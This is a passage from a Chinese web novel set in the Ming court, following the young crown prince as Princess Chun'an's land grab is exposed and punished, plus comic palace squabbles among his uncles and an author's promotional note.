铜钱脸色一沉,他好歹算是朱佑棱身边的第一人,何时受过这等无礼对待。 “怎么个不客气法?”铜钱冷哼。 管事身后的几个家丁跟着围了上来,摩拳擦掌,气势汹汹。 “不让。”朱佑棱端坐在马车里,脆生生的来了一句。毕竟年龄小,声音还显稚嫩,却异常清晰,还带着不容置疑的镇定。 管事一愣,居然还想探头往车厢里瞧。下一刻只见朱佑棱撩开车帘,一双乌溜溜的眼睛冷冷地看着,手中还拿着半块没有吃完的糕点。 “哪里来的小娃娃,大人说话插什么嘴!” “没有眼力见,果真容易招恨。”朱佑棱摇头晃脑,随即眼睛溜溜的转,却是慢条斯理地说。“我的。” 指了指铜钱刚放好的那堆糕点盒子,朱佑棱重复道:“我的,糕点。不让。” 铜钱立刻会意,对那管事冷声道:“听见了吗?我家小少爷说了,不让。请你们让开,我们要走了。” 那管事何曾受过这等轻视,尤其还是被一个长得胖乎乎,看起来就好欺负的小孩子驳了面子,顿时恼羞成怒。 “敬酒不吃吃罚酒!给我抢!” 几个家丁闻言就要上前。 “放肆!” 朱佑棱语气瞬间变冷,下一刻几名暗卫直接出现,将管事和他的打手全部抓了起来。 “淳安公主府的人,好大的威风啊。当街强买强卖,甚至意图明抢,这就是公主府的规矩?” 那管事这才了悟踢到了铁板,顿时吓得腿肚子发软。 “小、小人不敢……小人是奉、奉命行事……” “奉命?”朱佑棱冷哼一声,“奉谁的命?公主殿下可知你们在外如此跋扈?滚回去告诉你们主子,管好自家奴才!若再让孤……再让我知道你们仗势欺人,决不轻饶!滚!” 一个“滚”字,带着浓浓的杀意,吓得那几个家丁连滚带爬,瞬间作鸟兽散。 而朱佑棱看着他们狼狈的背影,脸色依旧难看。这位淳安公主可真是嚣张跋扈,连他的嫡亲姑姑重庆公主,都万分不及也。 “回宫。”朱佑棱沉声道,已没了逛街的兴致。 马车缓缓启动,朱佑棱脸色沉沉的,他不知道,回宫后的他又收到了一分惊愕,还是淳安公主带给他的—— 作者有话说:更新o(* ̄︶ ̄*)o 推文时刻!!! 《女帝之路,我走得很顺畅[快穿]》啦啦啦,目前存稿中哦! 【女主在各个时空当女帝的故事!】 满级大佬误入新手村 不,是来炸鱼的! 明照作为修仙世界大冥皇朝最骁勇善战的女帝,生平最不后悔的便是修仙修到大圆满后,又转道继承皇位,凭借一举之力,让大冥皇朝万古长存,谁曾想一朝飞升,没有飞升到仙界,反而被不知道从哪里跑来,号称‘千秋霸业,造反有理’系统绑定。 系统:宿主,我们一起当反骨仔,成就千秋霸业吧! 明照:??? 别人造反是九死一生,她造反,却是满级神仙回新手村炸鱼。 [红楼女帝] 系统:身为林黛玉表姐的你,首要任务是推翻当今天下,当改天换命的反贼。 明照:???除了林黛玉的表姐外,你是不是忘了我另外的身份。我乃废太子之女,继位名正言顺,当什么反贼。 [大明女帝] 系统:宿主,你的任务是当立天改命的反贼。 明照:???身为思宗的女儿,我继位名正言顺,当什么反贼? [国运战争中的战神女帝] [灵异文中的幽冥女帝] [末日丧尸女帝] [武则天之女,太平女帝] [唐玄宗之女,开元女帝] [宋徽宗之女,大宋女帝]《 》 50-60 第51章 第051章 淳安公主的生母乃万宸妃。…… 淳安公主的生母乃万宸妃。万宸妃一生共育四子二女。其中长子朱见潾封德王, 已经前往封地就藩。万宸妃也跟着一块儿跑了。 二子朱见湜夭折,三子朱见浚便是和比朱见泽小一岁的吉王,现今的七皇子殿下。 四子则是朱祁镇第八子朱见治,被封忻王。住在皇子所朱见浚的隔壁。 另有两位公主, 便是淳安公主和广德公主。广德公主倒也罢了, 可淳安公主, 是个脑壳有包的人。 重庆公主活得肆意, 那是因为她生母是太后, 亲哥是皇帝。而淳安公主, 则是因为蜜汁自信。 这不是假话, 主要万宸妃就只在意朱见潾这个儿子, 朱见潾被封德王, 封地定下后朱见潾前往就藩,万宸妃就跟着一块儿去了。哪怕经常还有两儿子两闺女,万宸妃都没想过带上。 当然也有朱见深这位皇帝,不刻薄兄弟的缘故。万宸妃将儿女留京,也是因为放心。 可惜, 估计就连万宸妃都没有想到, 自己生的崽儿,居然也有脑壳有包的。 要说淳安公主多恶毒,其实不尽然。她就是单独的没脑子, 并且眼瞎得很。 另外还喜欢攀比,攀比的对象不是别人, 恰好便是重庆公主。从来没有想过,重庆公主和她有本质的区别。 这么说吧,如果重庆公主的德性,和周太后一模一样的话, 你看朱见深会不会躲着。 朱见深可是连亲娘都会时常不耐烦,何况是和周太后秉性一样的姐姐。 也就是亲娘,才能容忍她使劲儿的造作。 而淳安公主,只是异母妹妹而已。朱祁镇的儿女那么多,朱见深有印象的也不过寥寥数人。 淳安公主私底下的嚣张,朱见深并不一定知晓。就连淳安公主的婚事,亲事也是朱祁镇生前做主定下。不然朱见深还真不一定想起异母妹妹到了试婚的年龄。 淳安公主算是刚刚及笄就嫁了,嫁的驸马蔡震乃军士之子,算不得名门望族,但也算不错。大明公主挑选驸马,要吗在军户中挑选,要吗便是门第不高的世家中挑选。 重庆公主的驸马周景,是读书人却也是军户。对比其他公主的驸马,算是顶顶不错了。 淳安公主偏偏要和重庆公主比,比待遇,比驸马,最后还要比谁生的孩子多。当然这只是淳安公主单方面的行为,主要重庆公主根本就没把淳安公主放在心上,甚至连惯常的交际往来都没有,冷不丁听闻淳安公主居然递折子,请赐保定府并河南项城县间的无主之地四百余顷,作为公主府的脂粉田和子孙基业时,不免惊呆。 哦!前头说的一份惊愕,就是淳安公主离谱的操作。 朱见深没有待在乾清宫,而是将奏折都搬到安喜宫,和着万贞儿一块儿批阅。 两口子你一本奏折我一本奏折的批阅,不一会儿堆得像小山一样的奏折,就见了底。而当朱见深刚刚批阅完一份关于漕运的奏折,正准备歇息片刻的时候,怀恩公公来了,呈上一份,比较特殊的奏请。 “万岁爷,淳安公主府上递来的折子。” “???淳安公主?”朱见深有些懵然,随即想到了淳安公主是谁。“她的折子?她想干嘛?” “感觉不太像好事儿。” “朕也有这样的感觉。” 朱见深不怎么想看了,但转念一想,又鼓起勇气查看。没曾想,将淳安公主递上来的折子展开一看,眉头立马蹙了起来。 折子的内容很简单,就一个意思:请赐保定府并河南项城县间的无主之地四百余顷,作为公主府的脂粉田和子孙基业。 四百余顷! 这不是个小数目。 按照一顷等于100亩来计算,4百余顷的土地,便是40000亩田地。 并且最主要的,保定府与河南项城县虽非紧邻,但这片区域牵扯甚广,其中是否真的全是“无主之地”,尚未可知。淳安公主居然敢递折子要400余顷的土地,作为他公主府的脂粉田和子孙基业,已经不是贪心,而是超级贪婪。 万贞儿接过折子一看,顿时啼笑皆非。 “哪里来的脸递这样的折子?深郎嫡亲的姐姐,重庆公主尚且不敢开这个口,她倒好,一开口就要400余顷的‘脂粉田’。” 说到这儿,万贞儿冷哼一声。“地府的土地想要多大就多大,告诉淳安公主,本宫允了,让她立马去死,到地方收400余顷的‘脂粉田’。” 也是巧了,刚这样说,朱佑棱就回来了。了解到事情经过时,朱佑棱整个人囧囧然的。 倒是铜钱,在朱见深询问朱佑棱出宫走一趟,感官如何时,将淳安公主府的管事,那嚣张跋扈的姿态说了出来。 万贞儿顿时暴怒。“什么东西,本宫的皇儿都敢欺辱。” “来人,去给本宫好好的查查”万贞儿开口道。“保定府和项城县那边,近来可有什么动静?这四百顷地,到底是怎么回事。” 怀恩公公这时候赶紧出列。“奴婢遵旨,还请皇贵妃娘娘方向,老奴一定查清楚到底怎么回事。” 对于万贞儿为何这样吩咐,怀恩公公心领神会,立刻退下安排。怀恩公公一退下,朱见深就没个正形的靠在椅背上。 朱见深闭上眼,揉了揉太阳穴。 “深郎,此列不能开。”万贞儿尽量让自己的说话声显得不那么生气。 “此例一开,其他宗室以及勋贵世家必定纷纷效仿。到时候,土地兼并的问题,会变得更为严重” 说着,万贞儿看向朱佑棱,显然在期待朱佑棱能接上他的话。而显然,朱佑棱也不负她的期望,接过话茬。 “百姓失地,流民增多,于国朝稳定大为不利。皇祖父在位的时候,宗室勋贵侵占民田之事便屡禁不止,父皇可不能再重蹈覆辙。” “朕的这位皇妹,倒是会挑时候。”朱见深语气带着一丝嘲讽,“朕为鞑子的事烦心,她倒好,伸手就要四百顷地,也不怕烫着。” “鞑子?”朱佑棱愕然。“鞑子又扰边境了?” “没呢。”朱见深开口道。“上回将他们打怕了。朕烦忧的是,朕想将他们一网打尽,偏偏某些人劝朕见好就收,不要穷兵黩武。” 朱佑棱:“孤算是明白为何会有‘乱世先杀我方圣母,保护敌方圣母’的话了。” 朱见深:“???” “父皇,你该下定决心了。”朱佑棱认真无比的说。“天凉了,该杀咱们这边的‘大善人’给鞑子助助兴了。” 朱见深倒是明白了这句话的意思,但是呢,朱见深很遗憾的摇头。“没有合适的理由,朕不好动他们。” 朱佑棱顺着朱见深的话语一想,勉为其难的点头赞同。 “倒也是。” “深郎如今可不是刚登基那会儿了。国库空虚,边关吃紧,宗室们还想躺着享福,天下哪有那么好的事儿?趁着这回,好好的收拾一下淳安公主,好好的杀鸡儆猴一番。” “等怀恩查清楚了,朕自然不会对淳安心慈手软。” 怀恩公公亲自前往保定一带调查,仅仅用了7日,就把事情查得清清楚楚。 根本就没有什么‘无主之地’,所谓的‘无主之地’,其中大半皆有民户耕种,或是卫所屯田。 只不过管理方面有些混乱,不过这是很多地方的通病,并不单独保定一带,结果不曾想,被公主府的人盯上,报了个“无主”的名头。 而当地官员得了淳安公主府的好处,对淳安公主府的行为,睁一只眼闭一只眼。 朱见深听完汇报,脸色彻底沉了下来。 他本身对淳安公主就没有什么兄妹之情,即便真是无主荒地,朱见深也不可能赏赐给淳安公主做‘脂粉田’。如今查清楚根本没有‘无主荒地’,朱见深对淳安公主的厌恶,在这一刻达到了顶峰。 “纵容家奴,勾结地方,侵夺民田,真是好得很!朕倒是没有想到,朕的皇妹中,居然有如此大胆之辈!” 翌日早朝 朱见深脸色冰冷,之前与之通过气的官员,立马出列试探性的提起淳安公主想要‘脂粉田’一事。 估计是朱见深特意安排的拖,起了个好开头吧,有那么几个与淳安公主府交好的憨憨官员,居然说起淳安公主早年艰辛的话语,还拿皇家体面等说项。 朱见深:“???” ——早年艰辛的是重庆公主! 跟着一块儿上早朝的朱佑棱无奈的开口。“大皇姑早年的确艰辛,这样吧,孤做主,将尔等的俸禄分一半给大皇姑。毕竟你们看起来就吃饱了撑着,俸禄减少一半,也能促进消化,免得吃撑了噎死。”—— 作者有话说:更新o(* ̄︶ ̄*)o 第52章 第052章 朱见深很不高兴,但听到朱…… 朱见深很不高兴, 但听到朱佑棱的发言,却变得很高兴。 “淳安公主所请,朕已详查。保定、项城之地,并非无主, 多有民户耕种、卫所屯田。朕登基以来, 屡有诏令, 禁止侵占民田、损毁边储。” 朱见深面无表情的开口, 声音不大, 却清晰地传遍整个大殿。 “淳安公主身为皇室宗亲, 更应体恤朕心, 顾全大局, 为宗室表率, 岂可带头违例。” “此项请求,不准!另”朱见深目光扫过下方群臣,语气斩钉截铁:“传朕旨意,凡公主府家奴,不得再行侵扰地方、鱼肉乡里之事。若有再犯, 严惩不贷!各地官员亦需恪尽职守, 不得徇私!” 朱见深态度如此强硬,理由又如此充分,那些还想真正帮腔的官员, 顿时噤若寒蝉,不敢再言。 估计也是没有想到, 生气的朱见深,连一父同胞的公主面子,都不该。 “你们还有什么话说?” 诸位官员纷纷摇头,都不愿率先开口说话。 “父皇做得对, 此风不可长。”朱佑棱脆生生的开口,还道。“父皇此举并非不顾念亲情,反倒是淳安公主不顾亲情,堂堂公主之尊,却要干些鸡鸣狗盗之事,孤觉得淳安公主要是在这样下去,多半会令皇室蒙羞,孤建议父皇尽早大义灭亲。” 满朝文武:“” “哎!”朱见深突然叹起气来。“非是朕不念亲情,只是淳安皇妹她,太过分了。” 一听这话,万安赶紧出来捧哏。 “万岁爷乃一国之君,凡事当以江山社稷为重。淳安公主殿下若明白事理,自会理解陛下的苦心。” 他顿了顿,又道,“况且,陛下此举,也是敲打了其他宗室勋贵,让他们收敛些,于国于民,都是好事。” 不愧是内阁最会拍马屁的内阁大臣之一,瞧瞧这话说得,真有水平。这不,朱见深当即难看的面色稍缓,心情也好了很多。 “既如此,朕便对淳安公主小惩大诫,食邑减半,封号由公主降为郡主,以儆效尤。” 这样的惩罚,说大不大,说小也不小。但拿来朝廷上说,对淳安公主的打击无疑是巨大的。 反正降位的旨意下达后,淳安公主不敢置信,差点气得昏厥过去。 淳安公主,不,应该叫淳安郡主了。她脸上的血色瞬间褪得一干二净,不敢相信自己的耳朵! 她可是堂堂长公主,先帝的亲女,当今皇帝的妹妹,不过是为了一块平平无奇的荒地,当今皇帝居然如此不留情面,将她降为郡主。 这简直是奇耻大辱!将她身为公主的尊严踩在了脚底下! “你……你说什么?!”淳安郡主猛地站起身,手指颤抖地指着宣旨太监,声音尖利刺耳,“你再说一遍!” 宣旨太监面无表情,将圣旨合拢,微微躬身:“郡主殿下,请接旨吧。” “不!这不可能!一定是你们假传圣旨!我要见皇上!我要见皇上!” 淳安郡主状若疯癫,扑上来就想抢夺圣旨。 旁边的侍女们,几乎吓得魂飞魄散,连忙上前阻拦劝慰:“殿下息怒!殿下保重凤体啊!” “滚开!”淳安郡主用力推开搀扶她的侍女,胸口剧烈起伏,眼前一阵发黑, “朱见深!你好狠的心!你忘了当年在南宫,本宫见你可怜,还施舍了你一个馒头,你居然这样对本宫” 她话未说完,一股急火攻心,喉头一甜,竟又气得晕厥过去,软软地倒在了地上。 “殿下!殿下!” 公主府内顿时乱作一团,哭喊声、惊呼声响成一片。 宣旨太监冷眼看着这鸡飞狗跳的一幕,等了一会儿,才将将圣旨交给一旁面如土色的管家。 “旨意已传到,杂家回宫复命了。”说罢,转身便走,毫不理会身后的混乱。 淳安郡主被众人七手八脚抬回卧房,掐人中、灌参汤,好一阵子才悠悠转醒。 刚一清醒,那无尽的屈辱和愤怒便再次涌上心头。淳安郡主看着房间里熟悉的奢华摆设,想到自己从此不再是尊贵的公主殿下,而只是一个普通的郡主,不,是被宗室取笑,先帝爷的唯一郡主。 朱见深太狠心了,食邑减半不说,还将她的份位降了,这让她如何,在宗室女眷中抬头,她的子女又将如何自处。 “啊——!” 淳安郡主发出一声凄厉的尖叫,猛地将床头小几上,摆着的官窑花瓶扫落在地,噼里啪啦,发出刺耳的碎裂声。 “朱见深!万贞儿!”淳安郡主咬牙切齿的咒骂。“一定是万贞儿那个贱人挑唆!本宫与你们势不两立!” 淳安郡主如同疯魔了一般,开始打砸房间里所有能砸的东西。名贵的玉器、精致的瓷器、华丽的屏风,顷刻间被砸得粉碎。侍女们跪在地上瑟瑟发抖,无人敢上前劝阻。 整个郡主府被愁云惨雾和歇斯底里的打砸声所笼罩。 淳安郡主被‘降爵罚俸’的消息,如同长了翅膀一般迅速传遍京城。宗室勋贵们闻讯,无不凛然。往日里巴结奉承的宗室勋贵、官员家眷,开始对淳安郡主府避之唯恐不及,府门前车马冷落,与从前的门庭若市形成了鲜明对比。 朱见深这次是动了真格,连自己的妹妹都如此重罚,一时间大家都在猜测朱见深‘杀鸡儆猴’的真正用意。 “万岁爷想干什么,不会是想要清查土地吧。” “我看是,毕竟那淳安郡主蠢得直接将窥探‘无主之地’的打算,都摆到明面上来了。处罚淳安郡主,就是为了警告我等。” 世家宗室勋贵们,个个都是人才,特别善于脑补。其实朱见深处罚淳安郡主,最主要的原因其实就是淳安郡主蠢得挂相,亲自将把柄递到了朱见深手中。 朱见深如果不趁机加以利用,杀鸡儆猴的警告宗室勋贵们,那就是朱见深蠢得挂相。 说真的,朱见深原先根本就没有想到土地兼并的问题,把土地兼并的问题,牵扯出来,完全是意外之喜。 于是乎,淳安郡主被罚了之后,轰轰烈烈的清查户籍良田登记的行动展开,顺便还整顿了宗室秩序,算是一定程度上的抑制了土地兼并。 这不,淳安郡主都被罚了,很快,那些原本还存着侥幸心理,想着法儿圈占田地的皇亲国戚们,都悄悄收敛了起来,生怕成为下一个被开刀的对象。 “父皇这次算是杀鸡儆猴,暂时稳住局面。但宗室特权尾大不掉,根本问题不解决,类似的矛盾未来还会以更激烈的方式爆发。”六岁大的朱佑棱对着朱见深款款而谈。 在朱佑棱看来,大明的内部顽疾,真的要比外部的边患,更加棘手和深远,这需要狠心一刀,先挖去脓疮,下重药才能彻底的医治顽疾。 距离女真真正发迹时间还有一百多年,朱佑棱自觉自己活不了那么久,但朱佑棱已经决定,以后要好好培养一个继承他意志的继承者。 不,或许并不需要,说不定等到朱佑棱长大,已经踏平塞外,将属于大明的旗帜插到欧罗巴大陆了呢! 朱见深原本正歪在榻上,有一搭没一搭地听着儿子背书,心里还琢磨着贞新调的熏香味道不错。 冷不丁听到这六岁稚童口中吐出“宗室特权尾大不掉”、“挖脓疮下重药”的言论,惊得差点拍案而起。 “鹤归,这些话是你想的,还是别人教你的。” 朱佑棱:“父皇以为谁教导我的?” “东宫讲官?”朱见深斟酌片刻,得出结论。 朱佑棱:“” “容孤好好的提醒父皇。”朱佑棱没好气的开口。“父皇忘了之前你嫌弃那群只会整天之乎者也、总想教导孤“圣人之道”的东宫讲官,所以全部罢官,让他们回家吃自己去了。至于是不是有人在孤的面前非议国策,甚至诋毁宗亲什么的。父皇,你摸着你的良心说,孤会干这等有失格调的事?” 朱见深摇头又点头,显然知晓朱佑棱的坑爹手段,有失格调什么的,朱佑棱又不是没有干过,而且干过不止一次。 所以呢,凭借着朱佑棱的厚脸皮,朱见深还真不相信朱佑棱有格调。 朱佑棱:“” “那个鹤归啊,你说顽疾当下重药,那顽疾都有什么?”朱见深存心考校朱佑棱,甚至已经按耐不住看到朱佑棱失败的表情。 “需不需要孤给父皇科普一下。”朱佑棱却是道。“用通俗易懂的大白话,给父皇好好科普科普,免得好心办坏事。” 朱见深怨念深重的瞄了朱佑棱好几眼。 这时候朱佑棱已经酝酿、组织好了言辞,只听朱佑棱开口道。 “您看,淳安郡主要地,您不给,她生气,别的皇叔公、皇叔伯们,虽然现在不敢要了,可他们心里绝对和淳安公主一样,很不高兴,觉得父皇您不念亲情。” “在我看来,他们可是占了不少便宜,400余顷的‘无主荒地’变成食邑后,根本就不需要给朝廷交税,相反靠着食邑,淳安郡主完全可以将自己吃成大胖子。” “父皇,其实这就是每年朝廷收上来的税银逐渐减少的最根本原因。良田好地都被皇亲国戚打着各种名义圈了起来。” “国库是干嘛的,国库除了给官员发俸禄外,还要拿来养兵。赋税收得越多,就能养更多的兵。当天灾来临时,还能够有充足的资金修河堤防洪水。” “如今税银越收越少,偏偏朝廷只会朝平头老百姓征收赋税。父皇,孤认为,最该被收高额赋税的,该是个个家缠万贯,还喜欢公然斗富的豪绅。”—— 作者有话说:更新o(* ̄︶ ̄*)o~ 第53章 第053章 “父皇,孤始终觉得商贾地…… “父皇, 孤始终觉得商贾地位低却富可敌国的现象很危险。”朱佑棱郑重其事,十分严肃且认真的说。 “饱暖思淫欲,谁知道他们会干出什么事情来。为了提高身份地位,说不得通敌卖国, 都是小事儿。” 明末清初的所谓八大商, 不正是靠着长期朝着关外输送铁矿, 让女真有足够多的资源锻造兵器, 越发频繁的攻打边关。 而现在, 其实那些个商贾已经开始往关外的游牧民族输送铁矿, 并且甘做细作, 打探中原的情况。 远的不说, 拿土木堡之变举列, 瓦剌在土木堡取得空前胜利后,长驱直入,直逼大明京城北京。 中间肯定存在带路党,并且对京师一带的地形十分了解。朱佑棱没有亲临土木堡之变,不知其中详细内情, 但充作细作的商贾在其中起了很大的作用。 朱见深听着, 忍不住点点头。 “土地是国之根本,百姓没了地,要么饿死, 要么就成了流民。”说到这儿,朱佑棱叹了一口气, “父皇当了那么久的皇帝,也该知晓每回天灾之后必定爆发人祸。而人祸,又有多少是活不下去,进而铤而走险开始干起匪寇的公道。” “如果儿臣说的这些, 都不算顽疾的话,那父皇觉得,什么才算顽疾。” “朕可没其他意思。”朱见深流露出欣慰的神色。“朕只是感叹,没想到朕的鹤归,竟然是天生帝王。有些不可思议罢了。” 朱佑棱歪歪脑袋。圆溜溜的脸蛋儿写满无语。 小亲爹,这事儿你不是早就知道嘛,现在感叹,还一副大惊小怪的模样儿,真让他不知道该说什么。 “既然父皇这样的反应,那么证明儿子说的对。”朱佑棱换了种口吻继续说道。 “既然对,那么就该尽快处理。” 朱见深:“你光催朕处理,朕该怎么处理?一团乱麻的事儿,可不好用快刀。” “那就用钝刀,钝刀割肉疼。” 朱佑棱也不是个良善人,如果让他整人,他能想出一百零八种折腾人的方法,虽说他个人更倾向于快刀斩乱麻,将土地兼并的问题一刀切了,但朱见深不赞同这样做,想慢慢的处理。 行呗! 你慢慢处理! 反正他现在才六岁,距离他长大,还有十几年,就随便父皇怎么造作,在朱佑棱看来,朱见深这位小亲爹,可比朱佑樘当皇帝的时候,好太多。 当然了,他是最棒的! 朱佑棱一向对自己充满自信,哪怕这个时候,依然把小脑袋抬得高高的。 下颌微扬,那肉肉的脸颊,让朱佑棱看起来格外精神又可爱。 “哎,今天天气貌似不错,可惜儿子要去上书房读书,不然准跟着娘亲一块儿去御花园赏花。” 朱见深斜眼瞄他。 “鹤归,你今儿说话有点儿奇奇怪怪的。” “没办法。”朱佑棱摇头晃脑,故作可爱的道。“没办法,娘亲今儿去御花园没带儿子也没有带父皇。儿子倒是可以去上书房读书,可父皇哎!空巢老人大概就是样子吧!” 朱见深:“” 神特么的空巢老人,他才20几岁,哪里算老人?还空巢! 朱见深作势要揍朱佑棱。朱有棱赶紧闪躲,一溜烟就快速跑了, 那速度简直如奔牛,朱见深的手刚伸出来,就看不到朱佑棱的人了。 “这兔崽子。” 朱见深哭笑不得,却也坐不住,下一刻就跑去御花园找万贞儿了。朱佑棱呢,一路小跑到了上书房,刚巧今天给他上课的万安,正握着一本书在翻看。 朱佑棱一来,万安立马合上书,笑得分外和蔼的说。“不知殿下今日想学什么?” 朱佑棱这家伙挺乖张的,万安这么问,反倒来了杠的兴致。 “学什么都教?”朱佑棱故作惊喜的说。 “自然不行,老夫只占年长,达者为师还称不上。”万安还挺谦虚的,主要还是朱佑棱习惯性挖坑,被坑了几回,万安又懂说话的艺术,自然说话不会怎么留把柄。 “殿下身为太子,乃大明的下一任继承人,读书认字能有自己的判断,便可以了。其余的,老夫不懂也不会教。” 朱佑棱点头,在这一点上倒是挺佩服万安的。虽说万安这小老头擅长和稀泥,历史上朱佑樘上台只会高呼万岁爷,但实际上还是有几分才干的。最起码在识时务这点上,内阁的其他大臣,都比不过他。 朱佑棱打开课本,不是诗经,也不是三字经更加不是论语,而是宫廷编绘,适合6至12岁儿童学习的皇家课本,里面收录了很多优秀的文章,并且每一篇优秀的文章都做了注解。 朱佑棱先挑选一篇文章看了一遍,随即就动手抄录起来,这样能练字又能加深印象。如今朱佑棱的毛笔字已经写得像模像样,不像刚刚接触写字的时候,软趴趴的像毛毛虫。 时间在这一刻飞速流逝,朱佑棱抄着抄着,突然觉得哪里不对。 “等等”朱佑棱放下狼毫笔。“孤的叔叔们呢!” 除开今年大婚的朱见泽和朱见浚,朱佑棱还有八皇叔和九皇叔还未成年。 他们都和朱佑棱一块儿在上书房读书,然鹅不管是朱见治还是朱见沛,读书的毅力都比不上朱佑棱一个孩子。 在多个老师的教导下,包括朱见泽在内,藩王们都堪堪只认识几个字。 而且那字,写得一塌糊涂,将老朱家‘不学无术’的优秀传统发扬得淋漓尽致。 “忻王殿下尿床,徽王殿下忙着补裤|裆。”万安含笑的说。 朱佑棱:“???” “孤记得孤的八皇叔,已经十三了吧,尿床?”朱佑棱一言难尽的说。“九皇叔还忙着补裤|裆?别是给尿床的八皇叔补裤|裆吧。” 万安笑着点头,显然对朱见治和朱见沛的请假理由叹为观止。 为什么非要找这样离谱的请假理由,虽说朱佑棱和叔叔们一块儿在上书房读书,但老师们的重心都放在朱佑棱的身上,其他人真的只是顺便。 可偏偏,朱见治和朱见沛两兄弟,就跟脑子缺根弦似的,从来不去想他们只是顺带读书认知,即便不请假直接不来,老师们也不会说什么,结果今天 也不知道朱见治和朱见沛到底中了什么邪,居然搞出如此离谱的请假理由。 朱佑棱决定了,等上完课后就去皇子所嘲笑他们俩。 抱着这样的念头,朱佑棱抄写文章的速度变快了。很快,朱有棱狂野不失优雅的抄完一篇文章后,就和好说话的万安说了一声,就飞叉叉的直奔皇子所。 堂堂藩王亲自补裤|裆的场面,不容错过。 就这样,不远不近的距离,朱佑棱硬是用跑的速度,很快跑完了,跑到皇子所的时候,朱见治和朱见沛刚好起了争执。 吵得十分的欢快,还互相揭对方的短。几岁尿床,几岁炸恭桶,几岁还一起比谁尿尿高,都一股脑的说了出来。 内容之精彩,简直让朱佑棱双眼闪烁亮光,看得那叫一个津津有味。不止他们,就连分别大婚的朱见泽和朱见浚都带着各自的王妃,蹲在院门口,兴致勃勃的听。 “原来上回我床上的黄泥巴是小九搞的啊,还非说是七弟,害得本王差点亲自去抠莲池的烂泥糊在七弟的狗头上。” “嘿,你骂谁是狗。”朱见浚又没有抓住重点,立马对朱见泽横眉倒竖。 “谁让你狗呢。” 朱见泽哼唧,根本就不怕朱见浚的怒火。或者说,除了朱见深和重庆公主外,朱见泽根本就不怕其他兄弟。 “到底谁狗。”朱见浚不服气的辩驳。“上回你偷偷摸摸带我出宫,去那个梨园砸场子,要不是我,你早被梨园的管事揍一顿了。” “开什么玩笑,我可是王爷,他敢打王爷。” “那咱们俩不是藏着身份去的!”朱见浚怀疑的瞄了朱见泽一眼,“你别背地里又去找人家麻烦了吧。” “本王是那样的人!”朱见泽炸毛,眼看要和朱见浚干起来的时候,朱佑棱在旁,很是好奇的问。 “六皇叔你到底干了啥,为什么七皇叔要说你砸场子。” “他点了一出戏,”朱见浚闷笑的说。“说要看关公战秦琼,梨园管事说关公和秦琼两人不是一个朝代的,不能凑在一起,偏偏六哥说,要有创造力,非要人家表演关公战秦琼梨园管事都急眼了,可不就闹起来。” 朱佑棱:“” 直接竖起大拇指,夸奖朱见泽是个会挑事的。 “主要那梨园的管事,是皇姐府里出来的。”朱见泽郁闷至极,还抱怨道。“他居然不认识本王,可见皇姐眼中只有皇兄这么个嫡亲弟弟。” “这话别让大皇姑听到。”朱佑棱坏心眼的提醒。“不然大皇姑准大嘴巴抽你。” 朱见泽听了这话,委屈至极的说。“已经抽了。” 朱佑棱:“???” 随即发出‘哈哈哈’的狂笑声。 “六皇叔,孤不想笑,但孤实在憋不住啊!”朱佑棱捂着肚子嘻嘻哈哈。“等孤笑够了,再来安慰六皇叔你啊!” 朱见泽:“” 糟心的侄儿,糟心的姐姐外加糟心的哥哥! 还有慈宁宫那位最最最糟心的生母 想到自己被‘极品’环绕,朱见泽不禁悲从心里来,比已经发展到互殴的朱见治和朱见沛哭得还要伤心。 朱佑棱看着哭得眼泪汪汪的朱见泽,再看看貌似挺无措的崇王妃,开口道。“六皇婶,你安慰安慰六皇叔,都大婚的人了,怎么能动不动就哭鼻子!”—— 作者有话说:更新o(* ̄︶ ̄*)o 第54章 第054章 崇王妃眼神漂移了一下下,…… 崇王妃眼神漂移了一下下, 能说她看戏其实看得挺嗨的? “好了爷,别嚎不,妾身是说别哭了,咱们不是来看那两位的笑话吗!”怎么自己演起笑话来了! 朱见治和朱见沛也不打架了, 反而一同看向哭唧唧的朱见泽。无一例外, 在场都比他小, 但看他的眼神, 都带着嫌弃。 朱见泽:“你们真是够了。” “关我们什么事?”朱见治翻白眼, 直接就和朱见泽争论起来。“动不动就哭鼻子, 不知道的还以为我们把你欺负得太厉害呢。” “没有说你们欺负本王。”朱见泽气呼呼的道, 倒是没有继续再哭。 朱见浚在旁不适时宜的翻了个白眼。 “别吵了, 现在什么时候了, 还吵,这不是让人看笑话嘛。” “都不是外人,看什么笑话?” “这是热闹,不是笑话!” 几个还没有就藩的藩王,开始你一言我一语的说起来, 就跟叽叽喳喳的鹌鹑一样, 看似怂实则很会闹。 朱佑棱看戏看得那叫一个津津有味。 “所以,八皇叔真的尿床啦!” 朱见治:“没有。” “可上书房的师傅说,八皇叔今日请假不耐上课理由是尿床。”朱佑棱大声的提醒道。“而九皇叔的请假理由则是补裤|裆。” “是你九皇叔尿床。”朱见治涨红一张脸辩解。“补裤|裆的是我!” “???”朱佑棱试图理解这其中的复杂因果关系, 但是发现自己理的还不如朱见治亲自交代的好,干脆就让朱见治交代清楚。 其实整件事情并不复杂, 就是朱见沛尿床,然后吧,居然将自己尿的床单,偷偷摸摸换给朱见治。 也不知道朱见沛到底是怎样操作的, 反正朱见治早上起来就发现‘自己尿床’,正当想要崩溃的时候,嗯,床单不对劲。 他睡前明明是宝蓝色的床单,怎么一觉醒来变成粉色了。 “本王可是爷们,根本不睡粉色的床单。”朱见治激动的大吼,仿佛这样就能洗刷自己冤屈。 朱佑棱:“啊这,九皇叔你过分了啊,怎么能这样欺负八皇叔呢。” “哪有。”朱见沛强调朱见治纯属有病。“本王会睡粉色床单又怎么滴,你睡了一晚上,等天亮尿床醒了才发现自己睡的粉色床单,还说是本王换的?八|哥你眼瞎,宝蓝色粉色分不清楚?” 朱见治开始双手叉腰,如喷壶一样喷洒唾沫。“你才眼瞎,不是你换的又是谁。别忘了以往你在我住的小院,都是来去自如。” 朱佑棱听得津津有味。“哎,其实没必要吵的,反正大家都知道,八皇叔尿床,九皇叔忙着补裤|裆。感觉都挺那啥。” “啊对!”朱见浚深以为然的附和。“反正本王是从来没有想过,咱们藩王中还有会针线活儿的。老实讲,小九啊,本王挺好奇你补裤|裆的成果。” 朱见沛:“” 不知脑补了什么,朱见沛小脸通红,“补裤|裆又怎么,女红好又怎么滴?总比七哥一大把年龄了还尿床要好。” “也对哦!”朱见浚深以为然的道,顺便还点了点头。 朱佑棱:“七皇叔,不要挑事儿。” “没挑事儿。”朱见浚郑重其事的道。“我只是比较喜欢实话实说而已。” 还比较喜欢实话实说 ——你那是比较? ——非明是超爱瞎说大实话! 